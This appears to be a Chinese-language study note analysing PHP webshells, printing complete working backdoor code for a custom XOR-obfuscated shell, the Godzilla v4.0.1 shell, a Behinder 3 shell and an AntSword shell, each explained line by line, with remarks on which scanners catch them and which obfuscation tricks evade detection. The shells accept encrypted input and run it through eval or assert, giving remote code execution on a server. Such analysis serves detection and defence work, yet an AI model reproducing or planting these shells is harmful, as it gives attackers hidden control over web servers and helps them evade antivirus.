Php Webshell

感觉除了了解webshell的免杀外,还要做的是去了解常用webshell工具,他们的马是怎么写的,流量是怎么走的,这里要具体到代码层面。

webshell分析

自定义马

这个免杀马是玄机靶场里的

<?php

$key = "password";

//ERsDHgEUC1hI
$fun = base64_decode($_GET['func']);
for($i=0;$i<strlen($fun);$i++){
    $fun[$i] = $fun[$i]^$key[$i+1&7];
}
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($fun);	

分析一下,func传递过来一个base64加密的字符串,然后逐位和上面的key进行异或运算,所以说这里的func是提前异或好的,webshell里的异或是一种decode,运算完成后,$a和$s加上get传过来的func2进行拼接,估计是组成assert,然后再进行 $a($b) 这样的命令执行。

静态查杀随便过

image-20240718152623472

河马查杀没过

https://n.shellpub.com/

感觉这个河马在线查杀还是比较强的,测了一下,比较好用的免杀方法是==自定义请求头传参加上自定义加密函数==。

当然,上面的也属于自定义加密了。

image-20240718153058152

哥斯拉

哥斯拉v4.0.1

image-20240718154837168

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
		eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

这些操作都是为了确保脚本可以无障碍地运行,并且不会暴露任何错误信息。

@session_start(); 启动一个新的会话或恢复现有会话。

@set_time_limit(0); 将脚本的执行时间设置为无限制。

@error_reporting(0); 关闭所有错误报告。

加密函数这里,调用的地方还是很多的,不过第二个参数都是key

$K[$i+1&15] 是通过按位与操作将索引限制在 0 到 15 之间。之后再进行异或,当然了,这个过程可以是加密也可以是解密,反正都是进行异或。

function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}

这一部分是核心

首先解码一下post传递的$pass保存在data里,如果会话中没有载荷且解密后的数据中包含 "getBasicsInfo",将其加密后存储在会话中。

如果会话中存在 $payloadName,则解密会话中的载荷。

如果载荷中不包含 "getBasicsInfo",则再次解密载荷。

使用 eval 执行解密后的载荷。

响应:

计算并输出 md5($pass . $key) 的前 16 位。

执行 @run($data) 并将结果加密后进行 Base64 编码,然后输出。

输出 md5($pass . $key) 的后 16 位。

if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
		eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

不过哥斯拉直出的马defender和360都能直接查出来

image-20240718160325431

冰蝎

冰蝎3

<?php 
    @error_reporting(0);
session_start();
$key = "e10adc3949ba59ab";
$_SESSION['k'] = $key;
$f = 'file' . '_get' . '_contents';
$p = '|||||||||||' ^ chr(12) . chr(20) . chr(12) . chr(70) . chr(83) . chr(83) . chr(21) . chr(18) . chr(12) . chr(9) . chr(8);
$Hc6t7 = $f($p);
if (!extension_loaded('openssl')) {
    $t = preg_filter('/\s+/', '', 'base 64 _ deco de');
    $Hc6t7 = $t($Hc6t7 . "");
    for ($i = 0; $i < strlen($Hc6t7); $i++) {
        $new_key = $key[$i + 1&15];
        $Hc6t7[$i] = $Hc6t7[$i] ^ $new_key;
    }
} else { 
    $Hc6t7 = openssl_decrypt($Hc6t7, "AES128", $key);
}
$arr = explode('|', $Hc6t7);
$func = $arr[0];
$params = $arr[1];
class GJ6g3jy6{
    public function __invoke($p){
        @eval("/*Z217tUYR42*/" . $p . "");
    }
}
@call_user_func/*Z217tUYR42*/(new GJ6g3jy6(), $params);

'|||||||||||' ^ chr(12)是p,’|||||||||||’ ^ chr(12) . chr(20) . chr(12) . chr(70) . chr(83) . chr(83) . chr(21) . chr(18) . chr(12) . chr(9) . chr(8)连起来就是php://input

$Hc6t7 = $f($p);即file_get_contents(php://input)

之后对post传的数据进行解密,有openssl扩展就用它解密,没有就用自己的解密函数

最终得到$Hc6t7为解密后的字符

这个字符串传过来之前就做了类似序列化的操作,这里再进行处理,使用回调函数加上类的__invoke进行方法调用

蚁剑

<?php 
    class G9943840{ /*F9gM3X*/
    public function __construct($x){
        $c = str_rot13('ffreg'); /*F9gM3X*/
        $a = ("!" ^ "@") . $c; /*F9gM3X*/
        $a($x);
    }
}
new G9943840($_REQUEST['123456']);

这个很简单,就是用了一个类的魔术方法,加了一些注释混淆,用了一个rot13解码,然后还是$a($b)形式来执行代码

0%